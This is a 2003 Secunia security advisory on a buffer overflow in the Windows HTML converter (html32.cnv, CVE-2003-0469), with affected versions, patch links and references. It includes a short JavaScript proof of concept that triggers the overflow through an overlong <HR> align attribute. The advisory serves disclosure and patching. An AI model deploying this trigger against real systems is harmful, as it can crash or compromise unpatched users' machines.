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Microsoft Windows HTML Converter Buffer Overflow Vulnerability
Secunia Advisory: SA9113
Release Date: 2003-06-25
Last Update: 2003-07-12
Popularity: 14,350 views

Critical:
Highly critical
Impact: DoS
System access
Where: From remote
Solution Status: Vendor Patch

OS:Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server
Microsoft Windows 98
Microsoft Windows 98 Second Edition
Microsoft Windows Millenium
Microsoft Windows NT 4.0 Server
Microsoft Windows NT 4.0 Server, Terminal Server Edition
Microsoft Windows NT 4.0 Workstation
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home Edition
Microsoft Windows XP Professional

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CVE reference:CVE-2003-0469


Description:
A vulnerability has been identified in all supported Windows versions, which can be exploited by malicious people to compromise a vulnerable system.

The vulnerability is caused due to a boundary error in "html32.cnv", when handling conversion requests during cut-and-paste operations. One attack vector is through a HTML document containing specially crafted script code, which will cause a buffer overflow when viewed in Internet Explorer.

Successful exploitation allows execution of arbitrary code on the user's system with the user's privileges, but requires that the user is tricked into visiting a malicious web site or view a malicious HTML based email.

The following example was provided in the original advisory. It opens a new window and then adds a horizontal rule (using <HR> tag) with an overly long argument supplied to the "align" attribute. The content is then copied and the window is closed, which triggers the overflow.

<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
</script>


NOTE: Internet Explorer on Windows Server 2003 runs in "Enhanced Security Configuration" by default and therefore prevents the vulnerability from being exploited automatically. However, if this has been disabled, the vulnerability can be exploited.

Solution:
Apply patch via WindowsUpdate or manually.

Windows NT 4.0 Server (requires SP6a installed):
http://microsoft.com/downloads/detail...-BC83-FEA67AE57F5F&displaylang=en

Windows NT 4.0 Terminal Server Edition (requires SP6 installed):
http://microsoft.com/downloads/detail...-94D0-5EBF6231A612&displaylang=en

Windows 2000 (requires SP3 or SP4 installed):
http://microsoft.com/downloads/detail...-8CF5-23DA3AB296B4&displaylang=en

Windows XP 32 bit Edition:
http://microsoft.com/downloads/detail...-886C-5A412438D6D4&displaylang=en

Windows XP 64 bit Edition:
http://microsoft.com/downloads/detail...-9F1A-90E41E908ECB&displaylang=en

Windows Server 2003 32 bit Edition:
http://microsoft.com/downloads/detail...-ADC0-5AC6BD0116DE&displaylang=en

Windows Server 2003 64 bit Edition:
http://microsoft.com/downloads/detail...-996B-7ACEC50992CE&displaylang=en


NOTE: Windows NT 4.0 Workstation is no longer supported by Microsoft. Users are therefore advised to use one of the temporary workarounds specified in Microsoft's security bulletin, and upgrade to a supported version when possible.

Provided and/or discovered by:
Discovered by: Digital Scream.
PoC released by: 3APA3A.

Changelog:
2003-07-01: Added more information in "Description" section.
2003-07-09: Microsoft releases security bulletin MS03-023. Affected systems, "Description" and "Solution" sections updated.
2003-07-12: Added CERT reference.

Original Advisory:
http://www.microsoft.com/technet/security/bulletin/MS03-023.asp

Other References:
http://www.kb.cert.org/vuls/id/823260


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